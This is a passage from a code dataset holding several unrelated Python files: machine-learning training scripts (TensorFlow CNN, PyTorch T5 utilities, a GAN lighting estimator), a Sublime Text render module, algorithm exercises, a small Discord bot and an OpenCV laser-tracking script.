'x-')\nylim([0,100])\nsavefig('each_trial_vs_S0_to_S6.jpg')\nsavefig('each_trial_vs_S0_to_S6.eps')\n#show()\nclf()\n","sub_path":"figure6/each_trial_vs_S0_to_S6.py","file_name":"each_trial_vs_S0_to_S6.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"455901807","text":"import tensorflow as tf\n\nfrom model_graph.model_graph import ModelGraph\nfrom protocols.training_protocols import DefaultTrainingEnvironment\n\nfrom datasets.mnist import MNIST\n\nfrom protocols.model_prediction import model_prediction\nimport plot_helpers\n\n\n# load data\ndata_set = MNIST(multi_class_debug=False)\n\nimg_res = data_set.img_res\nnum_classes = data_set.num_classes\nis_multi_class = data_set.is_multi_class\n\n\n# Model\nmodel_graph = ModelGraph(\"Test_Graph\")\n\ninput_layer = model_graph.add_input_layer(name=\"Input\", shape=[None, img_res, img_res, 3], d_type=tf.float32)\ndropout_input = model_graph.add_dropout_layer(name=\"input_dropout\", initial_keep_probability=0.5, initial_dropout_protocol=None)\n\nconv_0 = model_graph.add_conv_layer(name=\"conv_0\", num_filters=16, filter_size=3, strides=[1,1], padding=True)\nmax_pool_0 = model_graph.add_max_pool_layer(name=\"max_pool_0\")\ndropout_conv_0 = model_graph.add_dropout_layer(name=\"conv0_dropout\", initial_keep_probability=0.5)\n\nconv_1 = model_graph.add_conv_layer(name=\"conv_1\", num_filters=32, filter_size=3, strides=[1,1], padding=True)\nmax_pool_1 = model_graph.add_max_pool_layer(name=\"max_pool_1\")\ndropout_conv_1 = model_graph.add_dropout_layer(name=\"conv1_dropout\", initial_keep_probability=0.5)\n\ndense_0 = model_graph.add_dense_layer(name=\"Dense0\", neurons=128, activation=tf.nn.relu)\ndropout_dense_0 = model_graph.add_dropout_layer(name=\"dense0_dropout\", initial_keep_probability=0.5)\n\ndense_1 = model_graph.add_dense_layer(name=\"Dense1\", neurons=num_classes, activation=None)\n\n\nprediction_layer = model_graph.add_prediction_layer(name=\"Prediction\", num_classes=num_classes, is_multi_class=is_multi_class)\n\n\n#Training and Testing \n\nprediction_layer.add_trainer(\n initial_optimizer=\"adam\", \n initial_learning_rate=0.001, \n initial_momentum=0.0, \n initial_epsilon=1e-08, \n initial_enabled_state=True, \n initial_custom_training_protocol=None\n) \n\n\n\nmodel_graph.build()\n\ninput_layer.map_to_input_tuple_index(0)\nprediction_layer.map_to_input_tuple_index(1)\n\n\ntraining_env = DefaultTrainingEnvironment()\n\n#weights_debugger_0 = model_graph.add_convolution_layer_weight_debuuger(conv_layer=conv_0, input_channel=0)\n#conv_debugger_0 = model_graph.add_convolution_layer_output_debuuger(conv_layer=conv_0, show_activated=True)\n#weights_debugger_1 = model_graph.add_convolution_layer_weight_debuuger(conv_layer=conv_1, input_channel=0)\n#conv_debugger_1 = model_graph.add_convolution_layer_output_debuuger(conv_layer=conv_1, show_activated=True)\n#prediction_debugger = model_graph.add_prediction_debugger_image_classification(prediction_layer)\n\ntraining_env.train_model(\n model=model_graph,\n data_set=data_set,\n iterations=1000,\n batch_size=64,\n validation_frequency=100,\n test_frequency=5,\n initial_save_protocol=None\n) \n\nrand_picture = data_set.get_random_batch(batch_size=1, train_validation_test=2)[0][0]\n\npredictions = model_prediction(model_graph, tuple([rand_picture]), [prediction_layer], probabilities=False)\n\nplot_helpers.plot_image_with_caption(\n rand_picture, \n caption=\"Prediction: {0}\".format(predictions[0]), \n directory=model_graph.debug_directory, \n name=\"PredictionTest\"\n)\n\n#We are now done using TensorFlow, so we close the session to release its resources.\nmodel_graph.close()\n\n'''\nExercises\n\nTry using ReLU in the last fully-connected layer. Does the performance change? Why?\nTry not using pooling in the convolutional layers. Does it change the classification accuracy and training time?\nTry using a 2x2 stride in the convolution instead of max-pooling? What is the difference?\n\nChange the activation function to sigmoid for some of the layers.\n\nPlot the output of the max-pooling layers instead of the conv-layers.\n\n\nChange the Functional Model so it has another convolutional layer that connects in parallel to the existing conv-layers before going into the dense layers.\n\n\nReplace the 2x2 max-pooling layers with stride=2 in the convolutional layers. \nIs there a difference in classification accuracy? What if you optimize it again and again? \nThe difference is random, so how would you measure if there really is a difference? \nWhat are the pros and cons of using max-pooling vs. stride in the conv-layer?\n\nRetrieve the bias-values for the convolutional layers and print them. See get_weights_variable() for inspiration.\n\n'''","sub_path":"ConvolutionalModel.py","file_name":"ConvolutionalModel.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"428568069","text":"import json\nimport pandas as pd\nimport torch\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset, DataLoader\nimport pytorch_lightning as pl\nfrom transformers import (\n AdamW,\n T5ForConditionalGeneration,\n T5TokenizerFast as T5Tokenizer\n)\n\n\n\nclass DataFrameDataset(Dataset):\n \"\"\"This class create a torch.utils.data.Dataset from a pandas.DataFrame or from a CSV file.\"\"\"\n\n def __init__(self, csv_file_path=None, pd_dataframe=None, only_columns=None):\n \"\"\"\n Args:\n csv_file_path (string): Path to the csv file with annotations.\n pd_dataframe (Pandas DataFrame): A Pandas DataFrame with containing the data.\n only_columns (list): A List of only column names from the data you want to use.\n \"\"\"\n if isinstance(pd_dataframe, pd.DataFrame):\n self.df = pd_dataframe\n else:\n self.df = pd.read_csv(csv_file_path)\n\n if only_columns is not None:\n if isinstance(only_columns, list):\n for item in only_columns:\n if item not in self.df.columns:\n raise ValueError(f\"Got a column name '{item}' in only_columns which is not in data columns.\")\n self.only_columns = only_columns\n else:\n raise TypeError(f\"only_columns must be a , instead got a {type(only_columns)}.\")\n else:\n self.only_columns = list(self.df.columns)\n\n def __len__(self):\n return len(self.df)\n\n def __getitem__(self, idx):\n row = self.df.iloc[idx][self.only_columns]\n row_list = [item for item in row]\n return row_list\n\n\nclass DataLogger:\n \"\"\"Simple data logger class\"\"\"\n def __init__(self, logged_arguments: list):\n \"\"\"\n Args:\n logged_arguments (list): a list of strings - names of variables that we would like\n to save along the training process.\n \"\"\"\n self.logger = {}\n\n for item in logged_arguments:\n self.logger[item] = []\n\n def log_up(self, variable, value):\n \"\"\"append a measurement to variable\"\"\"\n self.logger[variable].append(value)\n\n def dict_log(self, dict_bag):\n \"\"\"append a dictionary of measurements to variables\"\"\"\n for item in dict_bag:\n self.logger[item].append(dict_bag[item])\n\n def save_log(self, save_path):\n \"\"\"save the logger as json file\"\"\"\n json.dump(self.logger, open(save_path + \".json\", 'w'))\n print('Logger was saved.')\n\n def load_log(self, load_path):\n \"\"\"load a json file as a logger\"\"\"\n self.logger = json.load(open(load_path + \".json\"))\n print('Logger was loaded.')\n\n\n\nclass NewsSummaryDataset(Dataset):\n \"\"\"Dataset class for the News Summary dataset\"\"\"\n def __init__(\n self,\n data: pd.DataFrame,\n tokenizer: T5Tokenizer,\n text_max_token_len: int = 512,\n summary_max_token_len: int = 128\n ):\n self.tokenizer = tokenizer\n self.data = data\n self.text_max_token_len = text_max_token_len\n self.summary_max_token_len = summary_max_token_len\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, index: int):\n data_row = self.data.iloc[index]\n\n text = data_row['text']\n summary = data_row['summary']\n\n text_encoding = self.tokenizer(\n text,\n max_length=self.text_max_token_len,\n padding='max_length',\n truncation=True,\n return_attention_mask=True,\n add_special_tokens=True,\n return_tensors='pt'\n )\n\n summary_encoding = self.tokenizer(\n summary,\n max_length=self.summary_max_token_len,\n padding='max_length',\n truncation=True,\n return_attention_mask=True,\n add_special_tokens=True,\n return_tensors='pt'\n )\n\n labels = summary_encoding['input_ids']\n labels[labels == 0] = -100\n\n return dict(\n text=text,\n summary=summary,\n text_input_ids=text_encoding['input_ids'].flatten(),\n text_attention_mask=text_encoding['attention_mask'].flatten(),\n labels=labels.flatten(),\n labels_attention_mask=summary_encoding['attention_mask'].flatten()\n )\n\n\nclass NewsSummaryDataModule(pl.LightningDataModule):\n \"\"\"A data module class with pytorch lightning for the training of T5\"\"\"\n def __init__(\n self,\n train_df: pd.DataFrame,\n valid_df: pd.DataFrame,\n test_df: pd.DataFrame,\n tokenizer: T5Tokenizer,\n batch_size: int = 10,\n text_max_token_len: int = 512,\n summary_max_token_len: int = 128\n ):\n super().__init__()\n\n self.train_df = train_df\n self.valid_df = valid_df\n self.test_df = test_df\n self.batch_size = batch_size\n self.tokenizer = tokenizer\n self.text_max_token_len = text_max_token_len\n self.summary_max_token_len = summary_max_token_len\n\n def setup(self, stage=None):\n self.train_dataset = NewsSummaryDataset(\n self.train_df,\n self.tokenizer,\n self.text_max_token_len,\n self.summary_max_token_len\n )\n\n self.valid_dataset = NewsSummaryDataset(\n self.valid_df,\n self.tokenizer,\n self.text_max_token_len,\n self.summary_max_token_len\n )\n\n self.test_dataset = NewsSummaryDataset(\n self.test_df,\n self.tokenizer,\n self.text_max_token_len,\n self.summary_max_token_len\n )\n\n def train_dataloader(self):\n return DataLoader(\n self.train_dataset,\n batch_size=self.batch_size,\n shuffle=True,\n num_workers=2\n )\n\n def val_dataloader(self):\n return DataLoader(\n self.valid_dataset,\n batch_size=self.batch_size,\n shuffle=False,\n num_workers=2\n )\n\n def test_dataloader(self):\n return DataLoader(\n self.test_dataset,\n batch_size=self.batch_size,\n shuffle=False,\n num_workers=2\n )\n\n\n","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"336841282","text":"from ..typecheck import *\nfrom .. import core\nfrom . html import div, Component, phantom_sizer\nfrom . layout_view import LayoutView\n\nimport sublime\nimport threading\n\nif TYPE_CHECKING:\n\tfrom .component import Component\n\nclass Timer:\n\tdef __init__(self, callback: Callable[[], None], interval: float, repeat: bool) -> None:\n\t\tself.interval = interval\n\t\tself.callback = callback\n\t\tself.cancelable = core.call_later(interval, self.on_complete)\n\t\tself.repeat = repeat\n\n\tdef schedule(self) -> None:\n\t\tself.cancelable = core.call_later(self.interval, self.on_complete)\n\n\tdef on_complete(self) -> None:\n\t\tself.callback()\n\t\tif self.repeat:\n\t\t\tself.schedule()\n\n\tdef dispose(self) -> None:\n\t\tself.cancelable.cancel()\n\n\n_renderables = [] #type: List[Renderable]\n_renderables_remove = [] #type: List[Renderable]\n_renderables_add = [] #type: List[Renderable]\n\n\ndef reload() -> None:\n\tupdate()\n\tfor renderable in _renderables:\n\t\trenderable.force_dirty()\n\tschedule_render()\n\n\n_render_scheduled = False\n\n\ndef schedule_render() -> None:\n\tglobal _render_scheduled\n\tif _render_scheduled:\n\t\treturn\n\n\t_render_scheduled = True\n\tcore.run(render_scheduled())\n\n\n@core.coroutine\ndef render_scheduled() -> None:\n\tglobal _render_scheduled\n\tperform_render()\n\t_render_scheduled = False\n\n\ndef perform_render() -> None:\n\t_renderables.extend(_renderables_add)\n\n\trenderables_to_update = [] #type: List[Renderable]\n\trenderables_to_clear = [] #type: List[Renderable]\n\n\tfor r in _renderables_remove:\n\t\t_renderables.remove(r)\n\t\trenderables_to_clear.append(r)\n\n\t_renderables_add.clear()\n\t_renderables_remove.clear()\n\n\tfor r in _renderables:\n\t\tif r.render():\n\t\t\trenderables_to_update.append(r)\n\n\tif not renderables_to_update and not renderables_to_clear:\n\t\treturn\n\n\t# after we generated the html we need to to update the sublime phantoms\n\t# if we don't do this on the sublime main thread we will get flickering\n\tdef on_sublime_thread() -> None:\n\t\tfor r in renderables_to_update:\n\t\t\tr.render_sublime()\n\n\t\tfor r in renderables_to_clear:\n\t\t\tr.clear_sublime()\n\n\tsublime.set_timeout(on_sublime_thread, 0)\n\n\ndef update() -> None:\n\tfor item in _renderables:\n\t\titem.update()\n\n\nclass Renderable:\n\tdef force_dirty(self) -> None:\n\t\tassert False\n\n\tdef update(self) -> None:\n\t\tassert False\n\n\tdef render(self) -> bool:\n\t\tassert False\n\n\tdef render_sublime(self) -> None:\n\t\tassert False\n\n\tdef clear_sublime(self) -> None:\n\t\tassert False\n\nclass Phantom(LayoutView, Renderable):\n\tid = 0\n\n\tdef __init__(self, component: 'Component', view: sublime.View, region: sublime.Region, layout: int = sublime.LAYOUT_INLINE) -> None:\n\t\tsuper().__init__(component, view)\n\t\tself.cachedPhantom = None #type: Optional[sublime.Phantom]\n\t\tself.region = region\n\t\tself.layout = layout\n\t\tself.view = view\n\n\t\tself.set = sublime.PhantomSet(self.view)\n\n\t\tPhantom.id += 1\n\n\t\t# we use the region to track where we should place the new phantom so if text is inserted the phantom will be redrawn in the correct place\n\t\tself.region_id = 'phantom_{}'.format(Phantom.id)\n\t\tself.view.add_regions(self.region_id, [self.region], flags=sublime.DRAW_NO_FILL)\n\t\tself.update()\n\t\t_renderables_add.append(self)\n\n\tdef render(self) -> bool:\n\t\tif super().render() or not self.cachedPhantom:\n\t\t\treturn True\n\t\treturn False\n\n\tdef render_sublime(self) -> None:\n\t\tregions = self.view.get_regions(self.region_id)\n\t\tif regions:\n\t\t\tself.cachedPhantom = sublime.Phantom(regions[0], self.html, self.layout, self.on_navigate)\n\t\t\tself.set.update([self.cachedPhantom])\n\n\tdef clear_sublime(self) -> None:\n\t\tself.set.update([])\n\n\tdef dispose(self) -> None:\n\t\tsuper().dispose()\n\t\t_renderables_remove.append(self)\n\t\tself.view.erase_regions(self.region_id)\n\t\tschedule_render()\n\n\nclass Popup(LayoutView, Renderable):\n\tdef __init__(self, component: 'Component', view: sublime.View, location: int = -1, on_close: Optional[Callable[[], None]] = None) -> None:\n\t\tsuper().__init__(component, view)\n\t\tself.on_close = on_close\n\t\tself.location = location\n\t\tself.max_height = 500\n\t\tself.max_width = 1000\n\t\tself.render()\n\t\t\n\t\tview.show_popup(\n\t\t\tself.html,\n\t\t\tlocation=location,\n\t\t\tmax_width=self.max_width,\n\t\t\tmax_height=self.max_height,\n\t\t\ton_navigate=self.on_navigate,\n\t\t\tflags=sublime.COOPERATE_WITH_AUTO_COMPLETE | sublime.HIDE_ON_MOUSE_MOVE_AWAY,\n\t\t\ton_hide=self.on_hide\n\t\t)\n\n\t\t_renderables_add.append(self)\n\t\tself.is_hidden = False\n\n\tdef on_hide(self) -> None:\n\t\tself.is_hidden = True\n\t\tif self.on_close:\n\t\t\tself.on_close()\n\n\tdef render(self) -> bool:\n\t\tif super().render() or not self.html:\n\t\t\treturn True\n\t\treturn False\n\n\tdef render_sublime(self) -> None:\n\t\tself.view.update_popup(self.html)\n\n\tdef clear_sublime(self) -> None:\n\t\tif not self.is_hidden:\n\t\t\tself.view.hide_popup()\n\n\tdef dispose(self) -> None:\n\t\tsuper().dispose()\n\t\t_renderables_remove.append(self)\n","sub_path":"modules/ui/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"477000497","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torchvision import datasets\nimport torchvision\nimport os\nimport matplotlib\nmatplotlib.use('agg')\nimport pickle\nimport copy\nimport h5py\nimport pandas as pd\nimport random\nimport os\nimport sys\nsys.path.insert(0, './core')\n\n# Custom import\nimport dataLoading\nimport utils\nfrom lossfunctions import *\nfrom shading import *\nimport models\nfrom utils import PRINT\nfrom train import *\n\nSHOW_IMAGES = False\nTrainSyn = True\nTrainGAN = True\nFirstRun = False\nLOCAL_MACHINE = False\noutput_path = './BasicNet/'\nsynthetic_image_dataset_path = './data/synHao_T/'\n\nif LOCAL_MACHINE:\n real_image_dataset_path = '../../Light-Estimation/datasets/realImagesSH/'\nelse:\n real_image_dataset_path = '/home/bsonawane/Thesis/LightEstimation/SIRFS/realData/data_T/'\n\nreal_image_mask = '/home/bsonawane/Thesis/LightEstimation/SIRFS/realData/mask/'\nglobal_batch_size = 64\n\n#if not os.path.exists(output_image_path):\n# os.makedirs(output_image_path)\n\n# Helper routines\nIS_CUDA = False\nif torch.cuda.is_available():\n IS_CUDA = True\n\ndef var(x):\n if IS_CUDA:\n x = x.cuda()\n return Variable(x)\n# End of Helper routines\n\n# Load synthetic dataset\nsyn_image1, syn_image2, syn_label = dataLoading.load_synthetic_ldan_data(synthetic_image_dataset_path)\nreal_image, sirfs_normal, sirfs_SH, sirfs_shading, real_image_val, sirfs_sh_val, sirfs_normal_val, sirfs_shading_val = dataLoading.load_real_images_celebA(real_image_dataset_path, validation = True)\nreal_image_mask = dataLoading.getMask(real_image_mask, global_batch_size)\n\n# Transforms being used\n#if SHOW_IMAGES:\ntmp = next(iter(syn_image1))\nutils.save_image(torchvision.utils.make_grid(tmp, padding=1), output_path+'images/test_synthetic_img.png')\ntmp = next(iter(real_image))\nutils.save_image(torchvision.utils.make_grid(tmp, padding=1), output_path+'images/test_real_image.png')\ntmp = next(iter(sirfs_normal))\nutils.save_image(torchvision.utils.make_grid(utils.denorm(tmp), padding=1), output_path+'images/test_sirf_normal.png')\nreal_image_mask_test, _ = next(iter(real_image_mask))\nutils.save_image(torchvision.utils.make_grid(real_image_mask_test, padding=1), output_path+'images/MASK_TEST.png')\ntmp = next(iter(sirfs_shading_val))\ntmp = utils.denorm(tmp)\ntmp = applyMask(var(tmp).type(torch.DoubleTensor), real_image_mask_test) \ntmp = tmp.data\nutils.save_image(torchvision.utils.make_grid(tmp, padding=1), output_path+'images/Validation_SIRFS_SHADING.png')\n\n\n# featureNet = ResNet(BasicBlock, [2, 2, 2, 2], 27)\nfeatureNet = models.BaseSimpleFeatureNet()\nlightingNet = models.LightingNet()\nD = models.Discriminator()\n# R = models.ResNet(models.BasicBlock, [2, 2, 2, 2], 27) #\nR = models.BaseSimpleFeatureNet()\n\nprint(featureNet)\nprint(lightingNet)\nfeatureNet = featureNet.cuda()\nlightingNet = lightingNet.cuda()\nD = D.cuda()\nR = R.cuda()\n\ndtype = torch.FloatTensor\ndtype = torch.cuda.FloatTensor ## UNCOMMENT THIS LINE IF YOU'RE ON A GPU!\n# Training\nif TrainSyn:\n syn_net_train(featureNet, lightingNet, syn_image1, syn_image2, syn_label, num_epochs = 200)\n # save_image(predict(featureNet, lightingNet, synVal1), outPath+'_Synthetic_Image.png')\n torch.save(featureNet.state_dict(), output_path+'models/featureNet.pkl')\n torch.save(lightingNet.state_dict(),output_path+ 'models/lightingNet.pkl')\nelse:\n featureNet.load_state_dict(torch.load(output_path+'models/featureNet.pkl'))\n lightingNet.load_state_dict(torch.load(output_path+ 'models/lightingNet.pkl'))\n\nfixed_input = var(next(iter(real_image_val))).type(dtype)\nsirfs_fixed_normal = var(next(iter(sirfs_normal_val)))\n#real_image_mask = next(iter(real_image_mask))\n#utils.show(torchvision.utils.make_grid(utils.denorm(fixed_input), padding=1))\n \n\nif TrainGAN:\n fs = predictAllSynthetic(featureNet, syn_image1)\n if real_image_val == None:\n real_image_val = real_image\n sirfs_normal_val = sirfs_SH\n\n trainGAN(lightingNet, R, D, fs, real_image, sirfs_SH, fixed_input, sirfs_fixed_normal, real_image_mask_test, output_path = output_path, num_epoch = 300)\nelse: \n lightingNet.load_state_dict(torch.load(output_path+'models/GAN_LNet.pkl'))\n R.load_state_dict(torch.load(output_path+'models/Generator.pkl'))\n\n'''\n# Testing\nif FirstRun == False:\nif SHOW_IMAGES:\n dreal = next(iter(realImage))\n show(dreal[0])\n dNormal = next(iter(rNormal))\n show(denorm(dNormal[0]))\n\n\nlightingNet = lightingNet.cpu()\nD = D.cpu()\nR = R.cpu()\ntorch.save(lightingNet.state_dict(), './GAN_LNet.pkl')\ntorch.save(D.state_dict(), './Discriminator.pkl')\ntorch.save(R.state_dict(), './Generator.pkl')\n'''\n","sub_path":"LDAN/basicNet.py","file_name":"basicNet.py","file_ext":"py","file_size_in_byte":4642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"425175556","text":"class Solution:\n def threeSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n res = []\n n = len(nums)\n nums = list(sorted(nums))\n prev_v = None\n\n for i in range(n - 2):\n v = nums[i]\n if v == prev_v:\n continue # skip\n\n requires = set()\n prev_x = None\n for x in nums[i + 1:]:\n if x in requires:\n if prev_x == x:\n continue # skip\n already = -v - x # = -v - (-v - already)\n res.append((v, already, x))\n prev_x = x\n else:\n you_need = -v - x # x = -v - you_need\n requires.add(you_need)\n prev_v = v\n return list(sorted(res))\n\n def _2threeSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n ret = set()\n\n # https://en.wikipedia.org/wiki/3SUM#Quadratic_algorithm\n n = len(nums)\n nums = list(sorted(nums))\n for i in range(n - 2):\n a = nums[i]\n j, k = i + 1, n - 1\n b, c = nums[j], nums[k]\n while j < k:\n sum = a + b + c\n if sum == 0:\n ret.add((a, b, c))\n if sum <= 0:\n j += 1\n b = nums[j]\n else:\n k -= 1\n c = nums[k]\n\n return list(sorted(ret))\n\n def tle_dp_threeSum(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n import copy\n dp = [{} for _ in range(len(nums) + 1)]\n dp[0][0] = set([()])\n\n for i in range(len(nums)):\n n = nums[i]\n\n for j, li in dp[i].items():\n dp[i + 1][j] = copy.copy(li)\n \n for j, li in dp[i].items():\n for elem in li:\n if len(elem) < 3:\n if dp[i + 1].get(j + n) is None:\n dp[i + 1][j + n] = set()\n\n dp[i + 1][j + n].add(tuple(sorted(list(elem) + [n])))\n\n return list(sorted([x for x in dp[len(nums)][0] if len(x) == 3]))\n\n\n\"\"\"\nnums = [-1, 0, 1, 2, -1, -4]\n[\n [-1, 0, 1],\n [-1, -1, 2]\n]\n\"\"\"\n\nsol = Solution()\n\nimport time\ndef measure(old, nums):\n start = time.time()\n ret = old(nums)\n end = time.time()\n print(end - start)\n return ret\n\nold = sol.threeSum\nsol.threeSum = lambda nums: measure(old, nums)\n\nnums = [-1, 0, 1, 2, -1, -4]\nprint(sol.threeSum(nums))\n\nnums = [0] * 3000\nprint(sol.threeSum(nums))\n","sub_path":"15_3Sum.py","file_name":"15_3Sum.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"128082739","text":"import discord\nfrom discord.ext import commands\nimport os,asyncio,sqlite3\nbot = commands.Bot(command_prefix='//')\ntoken = os.environ['DISCORD_BOT_TOKEN']\n\ntry:\n\tconn = sqlite3.connect('discord.db')\n\tc = conn.cursor()\n\tc.execute('''CREATE TABLE servers(s_name, s_id)''')\n\tconn.commit()\n\tconn.close()\nexcept:pass\n\n@bot.command()\nasync def check(ctx):\n\trank = {}\n\tch = bot.get_channel(714188878734688287)\n\tasync for message in ch.history(limit=200):\n\t\trea = message.reactions\n\t\tc = 0\n\t\tfor i in rea:\n\t\t\tif i.emoji == '👍':\n\t\t\t\tc+=int(i.count)*5\n\t\t\tif i.emoji == '👎':\n\t\t\t\tc+=int(i.count) * -5\n\t\t\tif i.emoji != '👍' and i.emoji != '👎':\n\t\t\t\tc+=int(i.count)\n\t\trank[message.content] = int(c)\n\trank2 = sorted(rank.items(), key=lambda x:x[1],reverse=True)\n\tprint(rank2)\n\tembed = discord.Embed(title=\"映画\",description=None,color=0xff0000)\n\tco = 0\n\tfor em in rank2:\n\t\tco+=1\n\t\tembed.add_field(name=str(co)+'位\\n'+em[0],value=str(em[1])+'点',inline=False)\n\tawait ctx.send(embed=embed)\n\n@bot.command()\nasync def reg(ctx):\n\tch = ctx.message.channel.id\n\tg = ctx.message.guild\n\tconn = sqlite3.connect('discord.db')\n\tc = conn.cursor()\n\tc.execute(\"INSERT INTO servers VALUES ('%s', '%s')\"%(g,ch))\n\tconn.commit()\n\tconn.close()\n\tawait ctx.send(str(g)+'を登録しました')\n\n@bot.command()\nasync def list(ctx):\n\tconn = sqlite3.connect('discord.db')\n\tc = conn.cursor()\n\tembed = discord.Embed(title=\"登録サーバーリスト\",description=None,color=0xff0000)\n\tfor row in c.execute('SELECT distinct * FROM servers ORDER BY s_name DESC'):\n\t\tembed.add_field(name=row[0],value=row[1],inline=False)\n\tconn.close()\n\tawait ctx.send(embed=embed)\n\nbot.run(token)\n","sub_path":"discordbot.py","file_name":"discordbot.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"598242406","text":"'''\n264. Ugly Number II\ntime complexity - O(N)\nspace complexity - O(N)\nApproach - DP + three pointers approach \n\n 1) first we maintain i,j,k for 2,3,5 pointers\n 2) next we have to calculate the minimum of (2*dp[i],3*dp[j],5*dp[k])\n 3) if suppose minimum comes from 2*dp[i] then we increment i+=1\n 4) if minimum comes from 2 and 3 then we increment both i and j pointer # example 6\n \n'''\nclass Solution:\n def nthUglyNumber(self, n: int) -> int:\n res=[1]\n i=j=k=0\n cnt=0\n \n while cnt self.items[maxi]:\n maxi = i\n item = self.items[maxi]\n del self.items[maxi]\n return item\n\nclass Golfer:\n def __init__(self, name, score):\n self.name = name\n self.score = score\n\n def __str__(self):\n return \"{0:16}: {1}\".format(self.name, self.score)\n\n def __gt__(self, other):\n return self.score < other.score # Less is more\n\nclass QueueList:\n def __init__(self):\n self.items = []\n\n def insert(self, item):\n self.items.append(item)\n\n def remove(self):\n item = None\n if self.items:\n item = self.items[0]\n self.items.pop(0)\n return item\n\n def is_empty(self):\n return self.items == []\n\nclass LinkedList:\n def __init__(self):\n self.lenght = 0\n self.head = None\n\n def print_backward(self):\n print(\"[\", end=\" \")\n if self.head is not None:\n self.head.print_backward()\n print(\"]\")\n\n def add_first(self, cargo):\n node = Node(cargo)\n node.next = self.head\n self.head = node\n self.lenght += 1\n\nclass Node:\n def __init__(self, cargo=None, next=None):\n self.cargo = cargo\n self.next = next\n\n def __str__(self):\n return str(self.cargo)\n\n def print_backward(self):\n if self.next is not None:\n tail = self.next\n tail.print_backward()\n print(self.cargo, end=\", \")\n\n\ndef test_queuelist():\n ql = QueueList()\n t0 = time.time()\n for i in rand_ints:\n ql.insert(i)\n\n while not ql.is_empty():\n ql.remove()\n t1 = time.time()\n print(\"Queue_list\")\n print(\"It took {:f} seconds to run.\".format(t1-t0))\n\ndef test_improved_queue():\n iq = ImprovedQueue()\n t0 = time.time()\n for i in rand_ints:\n iq.insert(i)\n\n while not iq.is_empty():\n iq.remove()\n t1 = time.time()\n print(\"Imprved_queue\")\n print(\"It took {:f} seconds to run.\".format(t1-t0))\n\n\nrand_ints = []\nfor i in range(10000):\n rand_ints.append(random.randrange(10000))\n\nfor i in range(5):\n print(rand_ints[i])\n\ntiger = Golfer(\"Tiger Woods\", 61)\nphil = Golfer(\"Phil Mickelson\", 72)\nhal = Golfer(\"Hal Sutton\", 69)\n\npq = PriorityQueue()\nfor g in [tiger, phil, hal]:\n pq.insert(g)\n\nwhile not pq.is_empty():\n print(pq.remove())\n\n\nq = PriorityQueue()\nfor num in [11, 12, 14, 13]:\n q.insert(num)\n\nwhile not q.is_empty():\n print(q.remove())\n\ntest_improved_queue()\ntest_queuelist()\n","sub_path":"How_to_Think_Like_a_Computer_Scientist/chapter26/queues.py","file_name":"queues.py","file_ext":"py","file_size_in_byte":4600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"438912394","text":"import cv2\r\nimport numpy as np \r\nimport imutils\r\nimport time \r\nimport csv\r\nimport array as ar\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.signal import find_peaks\r\nfrom collections import deque\r\n\r\n# plotting schalter\r\nplots_enable = 0\r\n\r\n\r\n# kamera objekt erstellen und einstellungen setzen\r\nvideo = cv2.VideoCapture(0) # 1 im argument ist die hintere kamera\r\n# Auflösung X, Y\r\nvideo.set(3, 1440)\r\nvideo.set(4, 900)\r\n\r\n# Erzeugt das deque, buffer ist dann die länge der linie. None gibts eine \"unendliche\" linie, alles andere die maximale Länge\r\n# buffer = int(128)\r\nbuffer = None\r\npts = deque(maxlen=buffer)\r\ndata = deque(maxlen=buffer)\r\n\r\n#Zeitbuffer\r\ntime_stamp = deque(maxlen=buffer)\r\n\r\n# Output Video erzeugen\r\nframe_width = int(video.get(3))\r\nframe_width_str = str(int(video.get(3)))\r\nframe_height = int(video.get(4))\r\nframe_height_str = str(int(video.get(4)))\r\nframesize_str = str(frame_width_str + \" x \" + frame_height_str)\r\nframe_center_x = frame_width / 2\r\nframe_center_y = frame_height / 2\r\nout = cv2.VideoWriter('laser_track.avi',cv2.VideoWriter_fourcc('M','J','P','G'), 20, (frame_width,frame_height))\r\n\r\ntimestart = time.time()\r\n\r\nx_array = ar.array('I', [])\r\ny_array = ar.array('I', [])\r\nt_array = ar.array('f', [])\r\n\r\n# Beginn der Hauptschleife\r\nwhile True:\r\n timeframe = time.time()\r\n timenow = timeframe - timestart\r\n timenow = round(timenow, 3)\r\n print(timenow)\r\n ret, frame = video.read()\r\n hsv = cv2.cvtColor(frame,cv2.COLOR_BGR2HSV)\r\n\r\n\t# Farbrange im HSV-Raum definieren\r\n lo_range = np.array([0,0,199]) #unteres limit für farbe\r\n hi_range = np.array([186,255,255]) #oberes limit\r\n\r\n mask = cv2.inRange(hsv, lo_range, hi_range) #kontrast erzeugen - weiß: in range; schwarz: nicht in range\r\n\r\n #gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\r\n #ret, thresh = cv2.threshold(gray, 127, 255, 0)\r\n ret, thresh = cv2.threshold(mask, 127, 255, 0)\r\n\r\n M = cv2.moments(thresh)\r\n\r\n if M[\"m00\"] != 0:\r\n cX = int(M[\"m10\"] / M[\"m00\"])\r\n cY = 